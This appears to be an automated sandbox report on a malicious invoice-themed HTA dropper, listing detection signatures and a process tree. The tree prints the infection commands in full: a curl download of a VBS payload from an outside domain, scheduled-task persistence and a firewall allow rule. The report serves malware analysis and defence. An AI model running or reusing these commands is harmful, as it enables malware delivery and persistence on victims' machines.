Edit tour
Windows
Analysis Report
#U2749Factura_#U2749_#U2466#U2461#U2466#U2462#U2467#U2465#U2465#U2465.hta
Overview
General Information
Sample name: | #U2749Factura_#U2749_#U2466#U2461#U2466#U2462#U2467#U2465#U2465#U2465.htarenamed because original name is a hash value |
Original sample name: | Factura__.hta |
Analysis ID: | 1546040 |
MD5: | ade67ee8d82e4182e69ad51b59f0f877 |
SHA1: | 2a62c9958134ae145c3c7588ee63ae0a3fecb973 |
SHA256: | 97c97398a3f40b46ecc877c2bcdff685b71d4fcf60ff5a749157bb1e90bd4f44 |
Tags: | geoGrandoreirohtaMEXPRTuser-NDA0E |
Infos: | |
Detection
Score: | 100 |
Range: | 0 - 100 |
Whitelisted: | false |
Confidence: | 100% |
Signatures
Multi AV Scanner detection for dropped file
System process connects to network (likely due to code injection or exploit)
AI detected suspicious sample
Connects to many ports of the same IP (likely port scanning)
Excessive usage of taskkill to terminate processes
Modifies the windows firewall
Overwrites code with function prologues
Potential malicious VBS script found (has network functionality)
Queries sensitive battery information (via WMI, Win32_Battery, often done to detect virtual machines)
Sigma detected: Invoke-Obfuscation CLIP+ Launcher
Sigma detected: Invoke-Obfuscation VAR+ Launcher
Sigma detected: Legitimate Application Dropped Script
Sigma detected: Script Initiated Connection to Non-Local Network
Sigma detected: Script Interpreter Execution From Suspicious Folder
Sigma detected: Suspicious MSHTA Child Process
Sigma detected: WScript or CScript Dropper
Tries to access browser extension known for cryptocurrency wallets
Uses ipconfig to lookup or modify the Windows network settings
Uses known network protocols on non-standard ports
Uses netsh to modify the Windows network and firewall settings
Uses ping.exe to check the status of other devices and networks
Uses schtasks.exe or at.exe to add and modify task schedules
Windows Scripting host queries suspicious COM object (likely to drop second stage)
AV process strings found (often used to terminate AV products)
Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)
Contains functionality to check if a debugger is running (IsDebuggerPresent)
Contains functionality to communicate with device drivers
Contains functionality to dynamically determine API calls
Contains functionality to launch a program with higher privileges
Contains functionality to query CPU information (cpuid)
Contains functionality to query locales information (e.g. system language)
Creates a process in suspended mode (likely to inject code)
Detected TCP or UDP traffic on non-standard ports
Detected potential crypto function
Dropped file seen in connection with other malware
Drops PE files
Enables debug privileges
Found WSH timer for Javascript or VBS script (likely evasive script)
Found dropped PE file which has not been started or loaded
Found evasive API chain (may stop execution after checking a module file name)
Found large amount of non-executed APIs
Found potential string decryption / allocating functions
HTTP GET or POST without a user agent
IP address seen in connection with other malware
Internet Provider seen in connection with other malware
JA3 SSL client fingerprint seen in connection with other malware
PE file contains executable resources (Code or Archives)
PE file contains sections with non-standard names
Queries the volume information (name, serial number etc) of a device
Sample execution stops while process was sleeping (likely an evasion)
Searches for the Microsoft Outlook file path
Sigma detected: Script Initiated Connection
Sigma detected: Usage Of Web Request Commands And Cmdlets
Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript
Suricata IDS alerts with low severity for network traffic
Too many similar processes found
Uses a known web browser user agent for HTTP communication
Uses code obfuscation techniques (call, push, ret)
Uses taskkill to terminate processes
Yara detected Keylogger Generic
Classification
- System is w10x64
- mshta.exe (PID: 5536 cmdline:
mshta.exe "C:\Users\ user\Deskt op\#U2749F actura_#U2 749_#U2466 #U2461#U24 66#U2462#U 2467#U2465 #U2465#U24 65.hta" MD5: 06B02D5C097C7DB1F109749C45F3F505) - cmd.exe (PID: 1252 cmdline:
"C:\Window s\System32 \cmd.exe" /V/D/c cur l -k -o C: \Users\Pub lic\672366 1d0a284.vb s https:// endesa.cli ck/6723661 d0a15c/672 3661d0a284 .vbs MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B) - conhost.exe (PID: 4288 cmdline:
C:\Windows \system32\ conhost.ex e 0xffffff ff -ForceV 1 MD5: 0D698AF330FD17BEE3BF90011D49251D) - curl.exe (PID: 6200 cmdline:
curl -k -o C:\Users\ Public\672 3661d0a284 .vbs https ://endesa. click/6723 661d0a15c/ 6723661d0a 284.vbs MD5: 44E5BAEEE864F1E9EDBE3986246AB37A) - cmd.exe (PID: 432 cmdline:
"C:\Window s\System32 \cmd.exe" /V/D/c sta rt C:\User s\Public\6 723661d0a2 84.vbs MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B) - conhost.exe (PID: 1476 cmdline:
C:\Windows \system32\ conhost.ex e 0xffffff ff -ForceV 1 MD5: 0D698AF330FD17BEE3BF90011D49251D) - wscript.exe (PID: 5480 cmdline:
"C:\Window s\System32 \WScript.e xe" "C:\Us ers\Public \6723661d0 a284.vbs" MD5: FF00E0480075B095948000BDC66E81F0) - BLOCKBUSTER.exe (PID: 6620 cmdline:
"C:\_67236 61d0a15c\B LOCKBUSTER .exe" MD5: 74D3F521A38B23CD25ED61E4F8D99F16) - schtasks.exe (PID: 6100 cmdline:
SCHTASKS / Query /TN "BLOCKBUST ER" MD5: 48C2FE20575769DE916F48EF0676A965) - conhost.exe (PID: 5240 cmdline:
C:\Windows \system32\ conhost.ex e 0xffffff ff -ForceV 1 MD5: 0D698AF330FD17BEE3BF90011D49251D) - cmd.exe (PID: 7088 cmdline:
"C:\Window s\System32 \cmd.exe" /C SCHTASK S /Create /F /RL HIG HEST /TN " BLOCKBUSTE R" /TR "C: \_6723661d 0a15c\BLOC KBUSTER.ex e" /SC ONL OGON /DELA Y 0001:00 MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B) - conhost.exe (PID: 1120 cmdline:
C:\Windows \system32\ conhost.ex e 0xffffff ff -ForceV 1 MD5: 0D698AF330FD17BEE3BF90011D49251D) - schtasks.exe (PID: 4072 cmdline:
SCHTASKS / Create /F /RL HIGHES T /TN "BLO CKBUSTER" /TR "C:\_6 723661d0a1 5c\BLOCKBU STER.exe" /SC ONLOGO N /DELAY 0 001:00 MD5: 48C2FE20575769DE916F48EF0676A965) - cmd.exe (PID: 1996 cmdline:
"C:\Window s\System32 \cmd.exe" /C netsh a dvfirewall firewall add rule n ame="BLOCK BUSTER" di r=in actio n=allow pr ogram="C:\ _6723661d0 a15c\BLOCK BUSTER.exe " enable=y es profile =any MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B) - conhost.exe (PID: 3536 cmdline:
C:\Windows \system32\ conhost.ex e 0xffffff ff -ForceV 1 MD5: 0D698AF330FD17BEE3BF90011D49251D) - netsh.exe (PID: 360 cmdline:
netsh advf irewall fi rewall add rule name ="BLOCKBUS TER" dir=i n action=a llow progr am="C:\_67 23661d0a15 c\BLOCKBUS TER.exe" e nable=yes profile=an y MD5: 4E89A1A088BE715D6C946E55AB07C7DF) - cmd.exe (PID: 1520 cmdline:
"C:\Window s\System32 \cmd.exe" /C C:\_672 3661d0a15c \MPDK.bat MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B) - conhost.exe (PID: 5232 cmdline:
C:\Windows \system32\ conhost.ex e 0xffffff ff -ForceV 1 MD5: 0D698AF330FD17BEE3BF90011D49251D) - taskkill.exe (PID: 3772 cmdline:
taskkill / f /im BLOC KBUSTER.ex e MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD) - taskkill.exe (PID: 7328 cmdline:
taskkill / f /im BLOC KBUSTER.ex e MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD) - taskkill.exe (PID: 7492 cmdline:
taskkill / f /im BLOC KBUSTER.ex e MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD) - PING.EXE (PID: 7620 cmdline:
ping 127.0 .0.1 MD5: B3624DD758CCECF93A1226CEF252CA12) - BLOCKBUSTER.exe (PID: 7784 cmdline:
BLOCKBUSTE R.exe MD5: 74D3F521A38B23CD25ED61E4F8D99F16) - schtasks.exe (PID: 7980 cmdline:
SCHTASKS / Query /TN "BLOCKBUST ER" MD5: 48C2FE20575769DE916F48EF0676A965) - conhost.exe (PID: 8036 cmdline:
C:\Windows \system32\ conhost.ex e 0xffffff ff -ForceV 1 MD5: 0D698AF330FD17BEE3BF90011D49251D) - cmd.exe (PID: 5840 cmdline:
"C:\Window s\System32 \cmd.exe" /C netsh a dvfirewall firewall add rule n ame="BLOCK BUSTER" di r=in actio n=allow pr ogram="C:\ _6723661d0 a15c\BLOCK BUSTER.exe " enable=y es profile =any MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B) - conhost.exe (PID: 2292 cmdline:
C:\Windows \system32\ conhost.ex e 0xffffff ff -ForceV 1 MD5: 0D698AF330FD17BEE3BF90011D49251D) - netsh.exe (PID: 7308 cmdline:
netsh advf irewall fi rewall add rule name ="BLOCKBUS TER" dir=i n action=a llow progr am="C:\_67 23661d0a15 c\BLOCKBUS TER.exe" e nable=yes profile=an y MD5: 4E89A1A088BE715D6C946E55AB07C7DF) - cmd.exe (PID: 5612 cmdline:
"C:\Window s\System32 \cmd.exe" /C C:\_672 3661d0a15c \MPDK.bat MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B) - conhost.exe (PID: 5240 cmdline:
C:\Windows \system32\ conhost.ex e 0xffffff ff -ForceV 1 MD5: 0D698AF330FD17BEE3BF90011D49251D) - taskkill.exe (PID: 360 cmdline:
taskkill / f /im BLOC KBUSTER.ex e MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD) - taskkill.exe (PID: 7300 cmdline:
taskkill / f /im BLOC KBUSTER.ex e MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD) - taskkill.exe (PID: 7444 cmdline:
taskkill / f /im BLOC KBUSTER.ex e MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD) - PING.EXE (PID: 7588 cmdline:
ping 127.0 .0.1 MD5: B3624DD758CCECF93A1226CEF252CA12) - BLOCKBUSTER.exe (PID: 7776 cmdline:
BLOCKBUSTE R.exe MD5: 74D3F521A38B23CD25ED61E4F8D99F16) - schtasks.exe (PID: 7880 cmdline:
SCHTASKS / Query /TN "BLOCKBUST ER" MD5: 48C2FE20575769DE916F48EF0676A965) - conhost.exe (PID: 7888 cmdline:
C:\Windows \system32\ conhost.ex e 0xffffff ff -ForceV 1 MD5: 0D698AF330FD17BEE3BF90011D49251D) - cmd.exe (PID: 8028 cmdline:
"C:\Window s\System32 \cmd.exe" /C netsh a dvfirewall firewall add rule n ame="BLOCK BUSTER" di r=in actio n=allow pr ogram="C:\ _6723661d0 a15c\BLOCK BUSTER.exe " enable=y es profile =any MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B) - conhost.exe (PID: 8052 cmdline:
C:\Windows \system32\ conhost.ex e 0xffffff ff -ForceV 1 MD5: 0D698AF330FD17BEE3BF90011D49251D) - netsh.exe (PID: 8164 cmdline:
netsh advf irewall fi rewall add rule name ="BLOCKBUS TER" dir=i n action=a llow progr am="C:\_67 23661d0a15 c\BLOCKBUS TER.exe" e nable=yes profile=an y MD5: 4E89A1A088BE715D6C946E55AB07C7DF) - cmd.exe (PID: 3140 cmdline:
"C:\Window s\System32 \cmd.exe" /C C:\_672 3661d0a15c \MPDK.bat MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B) - conhost.exe (PID: 7368 cmdline:
C:\Windows \system32\ conhost.ex e 0xffffff ff -ForceV 1 MD5: 0D698AF330FD17BEE3BF90011D49251D) - cmd.exe (PID: 7340 cmdline:
"C:\Window s\System32 \cmd.exe" /C C:\_672 3661d0a15c \MPDK.bat MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B) - conhost.exe (PID: 7372 cmdline:
C:\Windows \system32\ conhost.ex e 0xffffff ff -ForceV 1 MD5: 0D698AF330FD17BEE3BF90011D49251D) - taskkill.exe (PID: 7560 cmdline:
taskkill / f /im BLOC KBUSTER.ex e MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD) - cmd.exe (PID: 7300 cmdline:
cmd.exe /c ipconfig /flushdns MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B) - conhost.exe (PID: 7400 cmdline:
C:\Windows \system32\ conhost.ex e 0xffffff ff -ForceV 1 MD5: 0D698AF330FD17BEE3BF90011D49251D) - ipconfig.exe (PID: 7728 cmdline:
ipconfig / flushdns MD5: 3A3B9A5E00EF6A3F83BF300E2B6B67BB) - cmd.exe (PID: 4268 cmdline:
"C:\Window s\System32 \cmd.exe" /C C:\_672 3661d0a15c \MPDK.bat MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B) - conhost.exe (PID: 7376 cmdline:
C:\Windows \system32\ conhost.ex e 0xffffff ff -ForceV 1 MD5: 0D698AF330FD17BEE3BF90011D49251D) - cmd.exe (PID: 7416 cmdline:
"C:\Window s\System32 \cmd.exe" /C C:\_672 3661d0a15c \MPDK.bat MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B) - conhost.exe (PID: 7332 cmdline:
C:\Windows \system32\ conhost.ex e 0xffffff ff -ForceV 1 MD5: 0D698AF330FD17BEE3BF90011D49251D) - cmd.exe (PID: 7516 cmdline:
"C:\Window s\System32 \cmd.exe" /C C:\_672 3661d0a15c \MPDK.bat MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B) - conhost.exe (PID: 7508 cmdline:
C:\Windows \system32\ conhost.ex e 0xffffff ff -ForceV 1 MD5: 0D698AF330FD17BEE3BF90011D49251D) - cmd.exe (PID: 7696 cmdline:
"C:\Window s\System32 \cmd.exe" /C C:\_672 3661d0a15c \MPDK.bat MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B) - conhost.exe (PID: 7716 cmdline:
C:\Windows \system32\ conhost.ex e 0xffffff ff -ForceV 1 MD5: 0D698AF330FD17BEE3BF90011D49251D) - cmd.exe (PID: 7640 cmdline:
"C:\Window s\System32 \cmd.exe" /C C:\_672 3661d0a15c \MPDK.bat MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B) - conhost.exe (PID: 7632 cmdline:
C:\Windows \system32\ conhost.ex e 0xffffff ff -ForceV 1 MD5: 0D698AF330FD17BEE3BF90011D49251D) - cmd.exe (PID: 7660 cmdline:
"C:\Window s\System32 \cmd.exe" /C C:\_672 3661d0a15c \MPDK.bat MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B) - conhost.exe (PID: 7928 cmdline:
C:\Windows \system32\ conhost.ex e 0xffffff ff -ForceV 1 MD5: 0D698AF330FD17BEE3BF90011D49251D) - cmd.exe (PID: 5756 cmdline:
"C:\Window s\System32 \cmd.exe" /C C:\_672 3661d0a15c \MPDK.bat MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B) - conhost.exe (PID: 7916 cmdline:
C:\Windows \system32\ conhost.ex e 0xffffff ff -ForceV 1 MD5: 0D698AF330FD17BEE3BF90011D49251D) - cmd.exe (PID: 7960 cmdline:
"C:\Window s\System32 \cmd.exe" /C C:\_672 3661d0a15c \MPDK.bat MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B) - conhost.exe (PID: 2272 cmdline:
C:\Windows \system32\ conhost.ex e 0xffffff ff -ForceV 1 MD5: 0D698AF330FD17BEE3BF90011D49251D) - cmd.exe (PID: 6324 cmdline:
"C:\Window s\System32 \cmd.exe" /C C:\_672 3661d0a15c \MPDK.bat MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B) - conhost.exe (PID: 5644 cmdline:
C:\Windows \system32\ conhost.ex e 0xffffff ff -ForceV 1 MD5: 0D698AF330FD17BEE3BF90011D49251D) - cmd.exe (PID: 8084 cmdline:
"C:\Window s\System32 \cmd.exe" /C C:\_672 3661d0a15c \MPDK.bat MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B) - cmd.exe (PID: 1264 cmdline:
cmd.exe /c ipconfig /flushdns MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B) - conhost.exe (PID: 5556 cmdline:
C:\Windows \system32\ conhost.ex e 0xffffff ff -ForceV 1 MD5: 0D698AF330FD17BEE3BF90011D49251D) - ipconfig.exe (PID: 768 cmdline:
ipconfig / flushdns MD5: 3A3B9A5E00EF6A3F83BF300E2B6B67BB) - cmd.exe (PID: 6508 cmdline:
"C:\Window s\System32 \cmd.exe" /C C:\_672 3661d0a15c \MPDK.bat MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B) - conhost.exe (PID: 5508 cmdline:
C:\Windows \system32\ conhost.ex e 0xffffff ff -ForceV 1 MD5: 0D698AF330FD17BEE3BF90011D49251D) - taskkill.exe (PID: 7224 cmdline:
taskkill / f /im BLOC KBUSTER.ex e MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD) - taskkill.exe (PID: 7344 cmdline:
taskkill / f /im BLOC KBUSTER.ex e MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD) - taskkill.exe (PID: 7500 cmdline:
taskkill / f /im BLOC KBUSTER.ex e MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD) - PING.EXE (PID: 7628 cmdline:
ping 127.0 .0.1 MD5: B3624DD758CCECF93A1226CEF252CA12) - BLOCKBUSTER.exe (PID: 7792 cmdline:
BLOCKBUSTE R.exe MD5: 74D3F521A38B23CD25ED61E4F8D99F16) - schtasks.exe (PID: 7920 cmdline:
SCHTASKS / Query /TN "BLOCKBUST ER" MD5: 48C2FE20575769DE916F48EF0676A965) - conhost.exe (PID: 7944 cmdline:
C:\Windows \system32\ conhost.ex e 0xffffff ff -ForceV 1 MD5: 0D698AF330FD17BEE3BF90011D49251D) - cmd.exe (PID: 8044 cmdline:
"C:\Window s\System32 \cmd.exe" /C netsh a dvfirewall firewall add rule n ame="BLOCK BUSTER" di r=in actio n=allow pr ogram="C:\ _6723661d0 a15c\BLOCK BUSTER.exe " enable=y es profile =any MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B) - conhost.exe (PID: 8072 cmdline:
C:\Windows \system32\ conhost.ex e 0xffffff ff -ForceV 1 MD5: 0D698AF330FD17BEE3BF90011D49251D) - netsh.exe (PID: 8156 cmdline:
netsh advf irewall fi rewall add rule name ="BLOCKBUS TER" dir=i n action=a llow progr am="C:\_67 23661d0a15 c\BLOCKBUS TER.exe" e nable=yes profile=an y MD5: 4E89A1A088BE715D6C946E55AB07C7DF) - cmd.exe (PID: 7428 cmdline:
"C:\Window s\System32 \cmd.exe" /C C:\_672 3661d0a15c \MPDK.bat MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B) - conhost.exe (PID: 7348 cmdline:
C:\Windows \system32\ conhost.ex e 0xffffff ff -ForceV 1 MD5: 0D698AF330FD17BEE3BF90011D49251D) - cmd.exe (PID: 7576 cmdline:
"C:\Window s\System32 \cmd.exe" /C C:\_672 3661d0a15c \MPDK.bat MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B) - conhost.exe (PID: 7500 cmdline:
C:\Windows \system32\ conhost.ex e 0xffffff ff -ForceV 1 MD5: 0D698AF330FD17BEE3BF90011D49251D) - cmd.exe (PID: 7492 cmdline:
cmd.exe /c ipconfig /flushdns MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B) - conhost.exe (PID: 7588 cmdline:
C:\Windows \system32\ conhost.ex e 0xffffff ff -ForceV 1 MD5: 0D698AF330FD17BEE3BF90011D49251D) - ipconfig.exe (PID: 8092 cmdline:
ipconfig / flushdns MD5: 3A3B9A5E00EF6A3F83BF300E2B6B67BB) - cmd.exe (PID: 7572 cmdline:
"C:\Window s\System32 \cmd.exe" /C C:\_672 3661d0a15c \MPDK.bat MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B) - conhost.exe (PID: 7612 cmdline:
C:\Windows \system32\ conhost.ex e 0xffffff ff -ForceV 1 MD5: 0D698AF330FD17BEE3BF90011D49251D) - cmd.exe (PID: 7684 cmdline:
"C:\Window s\System32 \cmd.exe" /C C:\_672 3661d0a15c \MPDK.bat MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B) - conhost.exe (PID: 1096 cmdline:
C:\Windows \system32\ conhost.ex e 0xffffff ff -ForceV 1 MD5: 0D698AF330FD17BEE3BF90011D49251D) - cmd.exe (PID: 5052 cmdline:
"C:\Window s\System32 \cmd.exe" /C C:\_672 3661d0a15c \MPDK.bat MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B) - conhost.exe (PID: 7752 cmdline:
C:\Windows \system32\ conhost.ex e 0xffffff ff -ForceV 1 MD5: 0D698AF330FD17BEE3BF90011D49251D) - cmd.exe (PID: 7764 cmdline:
"C:\Window s\System32 \cmd.exe" /C C:\_672 3661d0a15c \MPDK.bat MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B) - conhost.exe (PID: 7252 cmdline:
C:\Windows \system32\ conhost.ex e 0xffffff ff -ForceV 1 MD5: 0D698AF330FD17BEE3BF90011D49251D) - cmd.exe (PID: 7216 cmdline:
"C:\Window s\System32 \cmd.exe" /C C:\_672 3661d0a15c \MPDK.bat MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B) - conhost.exe (PID: 3496 cmdline:
C:\Windows \system32\ conhost.ex e 0xffffff ff -ForceV 1 MD5: 0D698AF330FD17BEE3BF90011D49251D) - cmd.exe (PID: 6368 cmdline:
"C:\Window s\System32 \cmd.exe" /C C:\_672 3661d0a15c \MPDK.bat MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B) - conhost.exe (PID: 7880 cmdline:
C:\Windows \system32\ conhost.ex e 0xffffff ff -ForceV 1 MD5: 0D698AF330FD17BEE3BF90011D49251D) - cmd.exe (PID: 7908 cmdline:
"C:\Window s\System32 \cmd.exe" /C C:\_672 3661d0a15c \MPDK.bat MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B) - conhost.exe (PID: 7952 cmdline:
C:\Windows \system32\ conhost.ex e 0xffffff ff -ForceV 1 MD5: 0D698AF330FD17BEE3BF90011D49251D) - cmd.exe (PID: 8168 cmdline:
"C:\Window s\System32 \cmd.exe" /C C:\_672 3661d0a15c \MPDK.bat MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B) - conhost.exe (PID: 7984 cmdline:
C:\Windows \system32\ conhost.ex e 0xffffff ff -ForceV 1 MD5: 0D698AF330FD17BEE3BF90011D49251D) - cmd.exe (PID: 6608 cmdline:
"C:\Window s\System32 \cmd.exe" /C C:\_672 3661d0a15c \MPDK.bat MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B) - conhost.exe (PID: 6208 cmdline:
C:\Windows \system32\ conhost.ex e 0xffffff ff -ForceV 1 MD5: 0D698AF330FD17BEE3BF90011D49251D) - taskkill.exe (PID: 7292 cmdline:
taskkill / f /im BLOC KBUSTER.ex e MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD) - taskkill.exe (PID: 7484 cmdline:
taskkill / f /im BLOC KBUSTER.ex e MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD) - taskkill.exe (PID: 7636 cmdline:
taskkill / f /im BLOC KBUSTER.ex e MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD) - PING.EXE (PID: 7724 cmdline:
ping 127.0 .0.1 MD5: B3624DD758CCECF93A1226CEF252CA12) - cmd.exe (PID: 1876 cmdline:
"C:\Window s\System32 \cmd.exe" /C C:\_672 3661d0a15c \MPDK.bat MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B) - conhost.exe (PID: 7200 cmdline:
C:\Windows \system32\ conhost.ex e 0xffffff ff -ForceV 1 MD5: 0D698AF330FD17BEE3BF90011D49251D) - taskkill.exe (PID: 7320 cmdline:
taskkill / f /im BLOC KBUSTER.ex e MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD) - taskkill.exe (PID: 7476 cmdline:
taskkill / f /im BLOC KBUSTER.ex e MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD) - taskkill.exe (PID: 7644 cmdline:
taskkill / f /im BLOC KBUSTER.ex e MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD) - PING.EXE (PID: 7732 cmdline:
ping 127.0 .0.1 MD5: B3624DD758CCECF93A1226CEF252CA12) - cmd.exe (PID: 7192 cmdline:
"C:\Window s\System32 \cmd.exe" /C C:\_672 3661d0a15c \MPDK.bat MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B) - cmd.exe (PID: 4500 cmdline:
"C:\Window s\System32 \cmd.exe" /V/D/c sta rt C:\User s\Public\6 723661d0a2 84.vbs MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B) - conhost.exe (PID: 5760 cmdline:
C:\Windows \system32\ conhost.ex e 0xffffff ff -ForceV 1 MD5: 0D698AF330FD17BEE3BF90011D49251D) - wscript.exe (PID: 320 cmdline:
"C:\Window s\System32 \WScript.e xe" "C:\Us ers\Public \6723661d0 a284.vbs" MD5: FF00E0480075B095948000BDC66E81F0)
- BLOCKBUSTER.exe (PID: 6348 cmdline:
C:\_672366 1d0a15c\BL OCKBUSTER. exe MD5: 74D3F521A38B23CD25ED61E4F8D99F16)
- cleanup
⊘No configs have been found
Source | Rule | Description | Author | Strings |
---|---|---|---|---|
JoeSecurity_DelphiSystemParamCount | Detected Delphi use of System.ParamCount() | Joe Security | ||
JoeSecurity_Keylogger_Generic | Yara detected Keylogger Generic | Joe Security |
Source | Rule | Description | Author | Strings |
---|---|---|---|---|
JoeSecurity_DelphiSystemParamCount | Detected Delphi use of System.ParamCount() | Joe Security |
System Summary |
---|
Source: | Author: Jonathan Cheong, oscd.community: |
Source: | Author: Jonathan Cheong, oscd.community: |
Source: | Author: frack113, Florian Roth (Nextron Systems): |
Source: | Author: frack113, Florian Roth: |
Source: | Author: Florian Roth (Nextron Systems), Nasreddine Bencherchali (Nextron Systems): |
Source: | Author: Michael Haag: |
Source: | Author: Margaritis Dimitrios (idea), Florian Roth (Nextron Systems), oscd.community: |
Source: | Author: frack113: |
Source: | Author: James Pemberton / @4A616D6573, Endgame, JHasenbusch, oscd.community, Austin Songer @austinsonger: |
Source: | Author: Michael Haag: |
Timestamp | SID | Severity | Classtype | Source IP | Source Port | Destination IP | Destination Port | Protocol |
---|---|---|---|---|---|---|---|---|
2024-10-31T12:17:11.478712+0100 | 2022930 | 1 | A Network Trojan was detected | 20.12.23.50 | 443 | 192.168.2.5 | 49715 | TCP |
2024-10-31T12:17:51.668558+0100 | 2022930 | 1 | A Network Trojan was detected | 4.175.87.197 | 443 | 192.168.2.5 | 49895 | TCP |
Click to jump to signature section
Show All Signature Results
AV Detection |
---|
Source: | ReversingLabs: |
Source: | Integrated Neural Analysis Model: |
Source: | Binary or memory string: | memstr_7567da9f-0 |
Source: | HTTPS traffic detected: | ||
Source: | HTTPS traffic detected: |
Source: | Binary string: | ||
Source: | Binary string: | ||
Source: | Binary string: |
Source: | Code function: | 12_2_6F8CC2D0 | |
Source: | Code function: | 21_2_054407C4 | |
Source: | Code function: | 56_2_055F07C4 |
Networking |
---|
Source: | Network Connect: | Jump to behavior |
Source: | TCP traffic: |
Source: | Dropped file: | Jump to dropped file | ||
Source: | Dropped file: | Jump to dropped file |
Source: | Network traffic detected: | ||
Source: | Network traffic detected: | ||
Source: | Network traffic detected: | ||
Source: | Network traffic detected: | ||
Source: | Network traffic detected: | ||
Source: | Network traffic detected: | ||
Source: | Network traffic detected: | ||
Source: | Network traffic detected: | ||
Source: | Network traffic detected: |
Source: | Process created: |
Source: | TCP traffic: |
Source: | HTTP traffic detected: | ||
Source: | HTTP traffic detected: | ||
Source: | HTTP traffic detected: | ||
Source: | HTTP traffic detected: | ||
Source: | HTTP traffic detected: |